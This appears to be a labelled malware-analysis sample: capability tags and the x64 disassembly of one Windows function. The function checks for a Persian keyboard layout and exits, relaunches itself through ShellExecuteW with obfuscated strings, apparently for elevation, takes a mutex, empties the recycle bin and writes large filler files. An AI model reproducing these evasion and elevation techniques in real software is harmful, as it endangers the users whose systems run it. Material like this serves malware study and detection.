Function at 0x1400217c0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Empty the recycle bin
Get common file path
Get keyboard layout
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x498]
sub rsp, 0x580
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x1400e9180]
xor rax, rsp
mov qword [rbp + 0x450], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
movsxd rbx, eax
mov r14d, 8
mov eax, r14d
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400648f0
mov rdi, rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor r15d, r15d
test eax, eax
je 0x140021862
mov eax, r15d
test ebx, ebx
jle 0x140021862
mov ecx, 0x429
nop dword [rax + rax]
cmp word [rdi + rax*8], cx
je 0x1400219f5
inc rax
cmp rax, rbx
jl 0x140021850
mov rdx, r14
mov rcx, rdi
call fcn.14006459c
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x140021a01
mov r8d, 0x104
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140021a01
movsd xmm6, qword [0x1400d9308]
lea rcx, [rbp - 0x70]
call fcn.140040170
nop
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x51], 0x14
mov byte [rsp + 0x52], 0x2d
mov byte [rsp + 0x53], 0x10
mov byte [rsp + 0x54], 0x2d
mov byte [rsp + 0x55], 0x6e
mov byte [rsp + 0x56], 0x2d
mov byte [rsp + 0x57], 0x55
mov byte [rsp + 0x58], 0x2d
mov byte [rsp + 0x59], 0x3d
mov byte [rsp + 0x5a], 0x2d
mov byte [rsp + 0x5b], 0x2d
mov byte [rsp + 0x5c], 0x2d
movzx eax, byte [rsp + 0x51]
lea rcx, [rsp + 0x50]
call fcn.140046860
mov rdx, rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 5
jne 0x1400219ec
lea rcx, [rbp - 0x60]
call fcn.1400468e0
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140040180
lea rcx, [rbp - 0x60]
call fcn.14002a170
movsd xmm7, qword [0x1400d9300]
nop word [rax + rax]
cvttsd2si rcx, xmm6
call qword [sym.imp.KERNEL32.dll_Sleep]
mulsd xmm6, xmm7
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x61], 0x58
mov byte [rsp + 0x62], 0xc
mov byte [rsp + 0x63], 0x5a
mov byte [rsp + 0x64], 0xc
mov byte [rsp + 0x65], 0x2b
mov byte [rsp + 0x66], 0xc
mov byte [rsp + 0x67], 0x77
mov byte [rsp + 0x68], 0xc
mov byte [rsp + 0x69], 4
mov byte [rsp + 0x6a], 0xc
mov byte [rsp + 0x6b], 0xc
mov byte [rsp + 0x6c], 0xc
movzx eax, byte [rsp + 0x61]
lea rcx, [rsp + 0x60]
call fcn.1400467e0
mov rdx, rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 5
je 0x140021950
lea rcx, [rbp - 0x70]
call fcn.1400401b0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x70], xmm1
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r15
mov r8d, 0x24
lea rdx, str.4B991369_7C7C_47AA_A81E_EF6ED1F5E24C
lea rcx, [rsp + 0x70]
call fcn.140021e70
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae r8, qword [rsp + 0x70]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp - 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne bl
mov byte [rbp - 0x20], bl
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140021a9d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021a98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021db8
call fcn.14006459c
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
test bl, bl
jne 0x140021abb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400233a0
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 7]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lea rcx, [rbp]
call fcn.140038090
nop
mov rdi, qword [rbp + 8]
mov rbx, qword [rbp]
cmp rbx, rdi
je 0x140021af6
mov rcx, rbx
call fcn.1400404b0
add rbx, 0x20
cmp rbx, rdi
jne 0x140021ae5
lea rcx, [rbp]
call fcn.14002c1f0
call fcn.140040790
call fcn.1400461a0
call fcn.1400430e0
lea rcx, [rbp + 0x18]
call fcn.140038a00
mov rdi, qword [rbp + 0x20]
mov rbx, qword [rbp + 0x18]
cmp rbx, rdi
je 0x140021b35
mov rcx, rbx
call fcn.140043660
add rbx, 0x20
cmp rbx, rdi
jne 0x140021b24
lea rcx, [rbp + 0x18]
call fcn.14002c1f0
call fcn.14002b580
call fcn.140041620
call fcn.140044e60
call fcn.1400438d0
lea rcx, [rbp - 0x18]
call fcn.14002b1e0
mov rbx, qword [rbp - 0x18]
mov r14, qword [rbp - 0x10]
cmp rbx, r14
je 0x140021c49
nop dword [rax]
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x140021b7d
mov rcx, qword [rbx]
lea r9, [rbp + 0x240]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x140021c49
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x24000002
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140021c49
mov edx, 0x80000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
nop dword [rax + rax]
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x30]
mov r8d, 0x80000
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140021c00
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x80000
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
add rbx, 0x20
cmp rbx, r14
jne 0x140021b70
lea rcx, [rbp - 0x18]
call fcn.14002c1f0
mov ebx, r15d
lea rcx, [rbp - 0x50]
call fcn.140033350
mov r8, rax
cmp qword [rax + 0x18], 8
jb 0x140021c6b
mov r8, qword [rax]
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x41], 0x4b
mov byte [rsp + 0x42], 3
mov byte [rsp + 0x43], 7
mov byte [rsp + 0x44], 3
mov byte [rsp + 0x45], 0x78
mov byte [rsp + 0x46], 3
mov byte [rsp + 0x47], 0x10
mov byte [rsp + 0x48], 3
mov byte [rsp + 0x49], 3
mov byte [rsp + 0x4a], 3
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x140021d08
mov r10, r15
movzx ecx, byte [rsp + r10 + 0x41]
sub ecx, 3
imul r9d, ecx, 0x1c
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
add r9d, 0x7f
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
mov byte [rsp + r10 + 0x41], r9b
inc r10
cmp r10, 0xa
jb 0x140021cb3
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, [rsp + 0x41]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140021d61
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021d5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021dbe
call fcn.14006459c
inc ebx
cmp ebx, 1
jl 0x140021c55
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.140064540
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400987f4
nop
call fcn.1400987f4
int3
jmp 0x1400217c0